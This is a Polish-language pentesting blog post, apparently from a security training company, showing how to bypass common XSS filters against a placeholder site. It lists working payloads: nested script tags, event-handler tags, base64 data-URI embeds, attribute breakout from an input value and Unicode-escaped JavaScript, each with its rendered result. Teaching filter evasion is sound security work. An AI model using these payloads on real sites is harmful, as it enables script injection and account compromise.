XSS Omijanie filtrów

Przy wielu projektach pentesterskich trafiamy na różnego rodzaju sposoby ochrony przed atakami Cross-Site Scripting. Nie zapominajmy jednak, że ataki można przeprowadzać na wiele różnych sposobów – począwszy od łączenia parametrów wyświetlanych na podatnej stronie, kończąc na stosowaniu specjalnych operatorów dostępnych w samym środowisku JS.
Poniżej zaprezentowane są przykłady automatycznie wykonywach payloadów XSS wraz z ominięciem podstawowych sposobów ich zabezpieczeń.

Przykład 1 – zmiana słowa tagu „script” na pusty ciąg
http://vulnerable-page.com/?show=<script>alert(1)</script>

Efekt:
<>alert(1)</>

http://vulnerable-page.com/?show=<scrscriptipt>alert(1)</scrscriptipt>

Efekt:
</script>alert(1)</script>

Przykład 2 – wykrywanie słów kluczowych script
http://vulnerable-page.com/?show=<script>alert(1)</script>

Efekt:
403 Forbidden

http://vulnerable-page.com/?show=<img src=not_exist onerror=alert(1) />

Efekt:
<img src=not_exist onerror=alert(1) />

Dla w/w przykładu możemy spróbować użyć dodatkowych tagów z parametrami:
<input type=text autofocus onfocus=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
<frame onload=alert(1)>
<input type=text onblur=alert(1) autofocus><input type=text autofocus>
<body onscroll=alert(1)><div style=display:block;height:9000px;>a</div><input autofocus>
<video><source onerror=”alert(1)”>
<video onerror=”alert(1)”><source></source></video>
<iframe srcdoc=”<img src=x:x onerror=alert(1)>” />
<frameset onload=alert(1)>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></embed>

Przykład 3 – wstrzykiwanie do parametru tagu np. „input”
http://vulnerable-page.com/?show=<script>alert(1)</script>

Efekt:
<input type=text value=”<script>alert(1)</script>”>

http://vulnerable-page.com/?show=” autofocus onfocus=”alert(1)

Efekt:
<input type=text value=”” autofocus onfocus=”alert(1)”>

Przykład 4 – wstrzykiwanie do parametru tagu np. „input” z wykrywaniem instrukcji JS
http://vulnerable-page.com/?show=” autofocus onfocus=”alert(1)

Efekt:
403 Forbidden

http://vulnerable-page.com/?show=” autofocus onfocus=”\u0061lert(1)

Efekt:
<input type=text value=”” autofocus onfocus=”\u0061lert(1)”>

(JavaScript bez problemu radzi sobie z encjami Unicode)


Po więcej informacji, o tym jak testować bezpieczeństwo web aplikacji zapraszamy na szkolenie.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *